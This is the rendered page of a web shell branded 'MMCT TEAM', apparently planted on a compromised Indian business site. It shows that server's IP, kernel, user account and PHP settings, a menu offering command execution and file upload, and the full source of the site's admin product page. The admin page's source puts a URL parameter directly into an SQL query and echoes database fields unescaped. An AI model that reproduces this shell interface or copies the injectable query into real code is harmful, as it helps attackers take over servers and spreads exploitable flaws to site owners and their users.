MMCT TEAM
Server IP : 103.83.81.220  /  Your IP : 3.145.102.18
Web Server : Apache
System : Linux vps.erainfotech.co 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : nirkonhealthcare ( 1248)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/home/nirkonhealthcare:/var/log/spamavoid/:/tmp/:/var/lib/php/session/) in /home/nirkonhealthcare/public_html/admin/productimages/anopas.php on line 323
OFF  |  Perl :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/home/nirkonhealthcare:/var/log/spamavoid/:/tmp/:/var/lib/php/session/) in /home/nirkonhealthcare/public_html/admin/productimages/anopas.php on line 329
OFF  |  Python :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/home/nirkonhealthcare:/var/log/spamavoid/:/tmp/:/var/lib/php/session/) in /home/nirkonhealthcare/public_html/admin/productimages/anopas.php on line 335
OFF
Directory (0755) :  /home/nirkonhealthcare/public_html/fonts/../fonts/../img/../admin/js/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/nirkonhealthcare/public_html/fonts/../fonts/../img/../admin/js/../product_full_detail.php
<?php
include "conn.php";
session_start();
if (empty($_SESSION["admin"])) {
    header('location:index.php');
} else {
?>

    <!DOCTYPE html>
    <html lang="en">


    <head>
        <meta charset="utf-8" />
        <meta http-equiv="X-UA-Compatible" content="IE=edge" />
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
        <meta name="description" content="Praneja Envirocare & Management Pvt. Ltd." />
        <meta name="author" content="Praneja Envirocare & Management Pvt. Ltd." />
        <title>Service Full Details </title>
        <link rel="icon" type="image/png" href="img/favicon.png">
        <link href="vendor/dropzone/dist/dropzone.css" rel="stylesheet">
        <link href="vendor/icons/feather.css" rel="stylesheet" type="text/css">
        <link href="vendor/fontawesome/css/fontawesome.min.css" rel="stylesheet" type="text/css">
        <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet">
        <link href="css/styles.css" rel="stylesheet" />
    </head>
 
    <body class="sb-nav-fixed">
        <!-- start Header -->
        <?php include "header/header.php"; ?>
        <!-- End Header -->
        <div id="layoutSidenav">
            <!-- Start Sidebar -->
            <?php include "header/sidebar.php"; ?>
            <!-- End Sidebar-->
            <div id="layoutSidenav_content">
                <main>
                    <div class="container-fluid">
                        <div class="row mt-5">
                            <?php
                            $query = "SELECT * FROM products WHERE product_id = '$_GET[id]'";
                            $result = mysqli_query($connect, $query);
                            $row = mysqli_fetch_array($result);
                            ?>
                            <div class="col-xl-12">
                                <div class="card mb-4">
                                    <div class="card-header">
                                        <i class="fas fa-gift mr-1"></i> <strong> Service Full Details </strong>
                                        <button type="button" class="btn btn-primary" style='float:right;'><?php $url = htmlspecialchars($_SERVER['HTTP_REFERER']);
                                        echo "<a href='$url' class='text-white'>Back</a>"; ?></button>
                                    </div>
                                    <div class="card-body">
                                        <div class=" mb-4 order-list">
                                            <div class="gold-members">
                                                <div class="media">
                                                    <div class="col-12">
                                                        <div class="row">
                                                            <div class="col-md-2">
                                                                <img class="mr-4" src="<?php echo $row['product_image']; ?>" class="img-fluid" alt="Generic placeholder image">
                                                            </div>
                                                            <div class="col-md-10">
                                                                <div class="media-body"> 
                                                                    <h3 class="font-weight-bold mt-1"><?php echo $row['product_name']; ?> </h3> 
                                                                    <p class="text-black mb-1"> <i class="fas fa-box"></i> <b>Product Type :</b> <?php echo $row['product_type']; ?> </p>
                                                                    <p class="text-black mt-3 text-justify"><i class="fas fa-box"></i> <b> Service Description : </b><i class="feather-list"></i> <?php echo $row['product_description']; ?> </p>
                                                                    <hr>
                                                                    <div class="float-right text-bold">
                                                                        <a class="btn btn-sm btn-dark disabled"><b> Status: </b> <?php echo $row['product_status']; ?> <i class="feather-check-circle"></i></a>
                                                                        <?php
                                                                        if ($row["product_status"] == 'Active') {
                                                                            echo '<a href="product_inactive.php?id= '.$row['product_id'].'"><i class="feather-check-circle btn btn-warning btn-sm "> Inactive</i></a>'; 
                                                                        } else {
                                                                        ?>
                                                                           <a href="product_active.php?id=<?php echo $row['product_id']; ?>"><i class="feather-check-circle btn btn-success btn-sm "> Active</i></a>
                                                                        <?php } ?> 
                                                                        <a href="update_product.php?id=<?php echo $row['product_id']; ?>" class="btn btn-sm btn-info"><i class="feather-edit"></i> Update</a>
                                                                        <a href="product_delete.php?id=<?php echo $row['product_id']; ?>" class="btn btn-sm btn-danger"><i class="feather-trash"></i> </a>
                                                                    </div>
                                                                    <p class="float-left mt-1 text-black mb-1 text-success d-none d-md-block"> <b> Add Date: </b> <?php echo $row['product_add_date']; ?> <i class="feather-check-circle text-success"></i> </p>
                                                                </div>
                                                            </div>
                                                        </div>
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                        <?php ?>
                    </div>
                </main>
                <?php include "header/footer.php"; ?>
            </div>
        </div>
        <script src="vendor/jquery/jquery.min.js"></script>
        <script src="vendor/fontawesome/js/all.min.js"></script>
        <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script>
        <script src="js/scripts.js"></script>
        <script src="js/rocket-loader.min.js"></script>
    </body>


    </html>
<?php } ?>

MMCT - 2023